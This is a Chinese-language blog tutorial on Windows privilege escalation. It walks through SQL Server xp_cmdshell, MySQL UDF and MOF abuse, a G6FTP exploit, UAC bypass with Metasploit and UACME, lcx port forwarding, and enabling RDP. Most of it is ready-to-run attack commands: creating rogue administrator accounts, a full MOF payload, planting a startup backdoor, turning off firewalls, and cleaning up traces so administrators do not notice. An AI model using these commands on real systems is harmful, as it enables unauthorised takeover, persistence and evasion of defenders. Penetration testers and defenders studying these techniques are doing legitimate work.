SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

前提条件:
1、已获取到 sqlsever sysadmin权限用户的账号和密码;
2、SQL sever服务未降权;
3、SQL sever可以外连;

​ 如果获取到数据库账号密码后可以使用msql连接工具或者webshell net提权脚本输入账号和密码连接

开启xp_cmdshell

#检测xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';


#如果xp_cmdshell被删除,可以使用命令加载
dbcc addextendedproc("xp_cmdshell","xplog70.dll");


#如果xplog70.dll文件被删除,可手动上传恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';


#启动xp_cmdshell扩展存储过程
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
# 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。
# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。


#查看权限
exec xp_cmdshell "whoami";


#提权
exec xp_cmdshell "net user only Qwer1234 /add"
exec xp_cmdshell "net localgroup administrators only /add"
exec xp_cmdshell "net user only"


#远程登陆,查看3389状态
exec master.dbo.xp_cmdshell 'netstat -ano';
#如果3389没开,使用写入注册表方式开启
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
或
exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"

mysql提权

提权条件

  1. 具有MySQL的root权限,且MySQL以system权限运行。
  2. 具有执行SQL语句的权限。

获取root密码的方法:

  1. 查看数据库配置文件

    关键字:configconnsqldataincdatabase

  2. 下载mysql安装路径下的数据文件

    • 安装路径下的data目录中存放的是数据库的数据信息
    • root账号密码存储在mysql数据库下的user表中
    • 完整路径=安装路径+\data\mysql\user.MYD
  3. 3306端口弱口令爆破

  4. sqlmap注入 --sql-shell模式

UDF提权

​ UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。

利用条件

​ 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

​ 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目录,在windows server 2000下放置在c:/winnt/system32/目录。

掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。

拥有可以将udf.dll写入相应目录的权限。

获取DLL文件

实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

  • sqlmap 的 UDF 动态链接库文件位置
sqlmap/data/udf/mysql

sqlmap中自带这些动态链接库为了防止被误杀都经过异或编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o udf32.dll
  • Metasploit 的 UDF 动态链接库文件位置
/metasploit-framework/data/exploits/mysql

Metasploit 自带的动态链接库文件无需解码

获取插件目录

现在需要将UDF动态链接库文件上传到mysql的插件目录下

使用sql语句查询插件目录

mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | C:\phpStudy\MySQL\lib\plugin\|
+---------------+------------------------------+

如果不存在的话可以在webshell找到mysql的安装目录然后手动创建\lib\plugin

#通过命令查询安装目录
mysql> select @@basedir;
+--------------------+
| @@basedir          |
+--------------------+
| C:/phpStudy/MySQL/ |
+--------------------+

写入动态链接库

  • sql注入

sql注入要求是最高权限,plugin目录可写,secure_file_priv无限制,mysql插件目录可以被mysql用户写入

满足以上条件可以直接使用sqlmap来上传动态链接库

python sqlmap.py -u "http://localhost/" --data="id=1" --file-write="c:\udf32.dll" --file-dest="C:\phpStudy\MySQL\lib\plugin\udf32.dll"
  • webshell

这个不用多说,如果plugin目录可写,直接将文件上传即可

  • sql语句手动写入

上传到可写目录,再导入到MySQL\lib\plugin\

select LOAD_FILE('C:/可写目录/udf32.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/udf32.dll';

创建自定义函数并调用命令

udf.dll的使用与系统位数无关,与mysql的安装版本有关

实验所使用的mysql数据库是PHPStudy 自带的是 32 位的

一定要选择对版本,否则创建时会显示:

ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

create function sys_eval returns string soname 'udf32.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:

mysql> select * from mysql.func;
+----------+-----+-----------+----------+
| name     | ret | dl        | type     |
+----------+-----+-----------+----------+
| sys_eval |   0 | udf32.dll | function |
+----------+-----+-----------+----------+

sys_eval支持自定义,可以通过创建的这个函数执行系统命令了

#查看当前用户权限
select sys_eval('whoami');

#提权
select sys_eval("net user only Qwer1234 /add");
select sys_eval("net localgroup administrators only /add");

删除自定义函数

将之前引入的函数删除掉

防止被管理员发现,防止其他攻击者使用

drop function sys_eval;

delete from mysql.func where name='sys_eval';

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了。

UDF.PHP

下载地址:tools/udf.php

简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多:

另一款是暗月师傅的工具

MOF提权

​ MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

利用条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003
  2. C:\Windows\System32\wbem\MOF目录有读写权限
  3. secure-file-priv参数开启

复现

公开的利用代码

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

核心payload点:

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user only Qwer1234 /add\")\nWSH.run(\"net.exe localgroup administrators only /add\")

将文件上传并复制到C:/Windows/System32/wbem/MOF/nullevt.mof目录下

select load_file('C:/wmpub/mof.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/mof.mof'

执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下

痕迹清理

# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

G6FTP提权

介绍

G6 FTP Server 新一代的 FTP 服务器端软件,支持 RFC-959 标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。

原理

​ G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端口转发(使用lcx 工具(lcx 具有三个功能:监听、转发、端口转向))。

实际际情况中,web应用服务通常会被运行在内网机器上,然后通过端口映射到外网,供外网用户进行访问。如果我们已经攻破网站,拿到内网机器权限,通常会安装反弹木马到自己的外网主机,然后在外网主机进行操作。但是,这样操作就会变得很繁琐,需要从自己的内网机登陆到外网主机,然后控制外网主机来对肉鸡进行操作。而lcx端口转发工具可以帮助我们减轻一些负担。

漏洞复现

netstat -an  	显示出电脑中所有被打开的端口列表
netstat -ano  	显示出所有占用端口的列表
netstat -ano | findstr "80"  显示80端口占用的详细情况
tasklist | findstr "80"    查询端口具体哪个应用占用
  1. 在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini

  1. 将administrator管理密码解密。解密得到administrator的管理员密码为123456

  1. 使用端口转发工具将8021端口转发出来
 lcx.exe -tran 2333 127.0.0.1 8021

  1. 在攻击机上安装g6ftp客户端连接上服务的进行设置

  1. 创建用户并设置用户主目录为C:\,访问权限为所有

  1. 将添加管理员命令保存为bat文件,上传到目标并在设置中添加批处理命令
net user only QWEasd123 /add && net localgroup administrators only /add

  1. 在命令行中登录ftp,并执行批处理命令:

但是执行失败了

  1. 更换思路利用C:\可写,将bat文件写入到自启动项提权

管理员下次登陆时会执行文件

ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/

直接写入后门文件

也可以利用前面讲到的不带引号的服务路径提权,将 Program.exe后门文件上传到c:\,系统重启会自动执行

绕过UAC bypassuac

UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户 确认是否授权当前可执行文件来达到阻止恶意程序的目的。

为了远程执行目标的exe或者bat可执行文件,绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行 执行文件)

需要UAC的授权才能进行的部分操作列表如下:

配置Windows Update

增加、删除账户

更改账户类型

更改UAC的设置

安装ActiveX

安装、卸载程序

安装设备驱动程序

将文件移动/复制到Program Files或Windows目录下

查看其它用户的文件夹

UAC有如下四种设置要求:

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户

仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户

仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度

从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

MSF下实战利用

Bypassuac提权的MSF模块

use exploit/windows/local/bypassuac  
#该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。

use exploit/windows/local/bypassuac_injection  
#该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。

MSF中Bypassuac模块的使用前提有两个:

  1. 系统当前用户必须在管理员组中,

  2. 用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我” 。

UACME

下载地址:https://github.com/hfiref0x/UACME

内含60+种BypassUAC的方法,后续会提到,其中包括的工具列表如下:

  • Akagi 是项目的主程序,其中包含了所有的Methods,绕过UAC的主要方法的源码都在Method目录下,会以UAC绕过方法的发现者的名字来命名源文件。
  • Akatsuki 又叫做“晓”,WOW64 logger绕过UAC的利用方法的DLL源码
  • Fubuki 又叫做“暴风雪“,好几个绕过UAC利用的代理DLL,他们都共用了劫持Ole32.dll的方法
  • Hibiki 又叫做“声音”,AVRF方法绕过UAC的利用方法的DLL源码
  • Ikazuchi 又叫做”雷声“,利用劫持 comctl32.dll 组件绕过UAC的利用方法的DLL源码
  • Inazuma 又叫做“闪电”,SHIM相关利用的绕过UAC的利用方法的EXE源码
  • Kamikaze 又叫做“神风”,未在工程文件中引用,MMC劫持方法利用的MSC文件
  • Kongou 又叫做“金刚”,利用Hybrid方法绕过UAC的Dll,已经排除在新工程中的引用了
  • Naka 又叫做“空气”,压缩及亦或编码的小工具源码
  • Yuubari Aka UACView用来查看相关UAC的设定信息,以及扫描存在可利用的程序的工具

生成工具

  • 首先为要生成的解决方案中的项目选择"平台工具集"(项目>属性>常规):
    • v140 for Visual Studio 2015;
    • v141 for Visual Studio 2017;
    • v142 for Visual Studio 2019.

以Release|x64去build(这个根据需要,64位系统就用x64),然后ctrl+bbuild项目,生成的项目在source/Akag/output

Akagi64

使用vs2019本地编译后可以使用akagi32 41或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。

  • 绕过利用
  1. 获取一个管理员shell,uac阻拦无法提升到system权限

  1. 重新生成一个监听其他端口的新后门将Akagi64一起上传

  1. 开启监听并使用Akagi64.exe执行新的后门可执行文件

这里获取到meterpreter后第一时间迁移进程,否则权限会在降落

run post/windows/manage/migrate

  1. 迁移进程到x64进程即可抓取哈希

lcx端口转发

​ lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意 端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客 入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个 回路。它常用于外网连接内网3389端口。

本地转发

本地转发主要是把127.0.0.1:port 这个本地端口转发到外部,让外部的客户端允许连接。

例如将mysql端口转发出来:

客户端-->127.0.0.1:3307-->127.0.0.1:3306

  • 服务端执行
lcx.exe -tran 3307 127.0.0.1 3306

  • 客户端访问

远程转发

远程转发 一般用于外网无法访问内网,内网可以访问外网,由内部发出请求到外网,所以防火墙不会拦 截。 客户端除了可以在本地访问内网机子,也可以作为中间人,外部机子也能连接客户端到内网服务端。

  • 服务端执行
 lcx.exe -slave client-host 2333 127.0.0.1 3389
  • 客户端执行
lcx.exe -listen 51 2333

客户端或攻击者使用远程终端连接本地client-host:51即登录服务端3389的远程桌面

远程终端

注册表开启远程终端命令

在较高的权限下可以使用注册表命令 进行开启

2008 or 2012 or 2016 开启3389

echo DO ALL IN CMD! 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f

msf命令开启3389端口

run getguid -e

一条命令开启3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f

WMIC命令开启3389

  • 支持系统

    Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)

前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
  • 支持系统

Win2k/XP/Win2k3

wmic /node:192.168.0.103 /user:administrator/password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
  • 支持系统

Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.0.116/user:administrator/password:betasec RDTOGGLE WHERE ServerName='WINTO2CN3V2VPR' call SetAllowTSConnections 1

wmic /node:192.168.0.116 /user:administrator/password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

注意事项

​ 其实就是利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。 WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。 错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。

查询是否开启3389

0为On 1为OFF

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

查询端口号

  • 注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp\

查看PortNumber字段

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

set /a Port=0xd3d

  • 通过网络命令查询端口
tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"
net start |find "Remote Desktop Services"

关闭防护墙

确定开启了远程终端并且端口没错的情况下 还是连不上目标 目标上的防火墙可能允许,这个时候可以使 用lcx端口转发,或者使用命令关闭防火墙

netsh advfirewall show allprofile state 查询状态

netsh advfirewall set allprofiles state off 关闭防火墙

net stop "Windows Firewall" 关闭防火墙

sc config sharedaccess start= disabled 禁用防火墙

net stop sharedaccess 关闭防火墙

关闭 ipsec

在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败 可以使用命令

net stop "IPsec Policy Agent"

终端连接错误方法

可以使用相同版本的终端进行连接

或者使用 xfreerdp连接会自动加密

sudo apt install freerdp2-x11
xfreerdp /f /u:administrator /p:123456 /v:192.168.0.118

加入远程桌面组

net localgroup "Remote Desktop Users" moonsec /add

终端超出最大连接数

终端超出最大连接数时可用下面的命 令来连接

mstsc /v:ip:3389 /console
posted @ 2023-05-05 16:32  空于野  阅读(490)  评论(0编辑  收藏  举报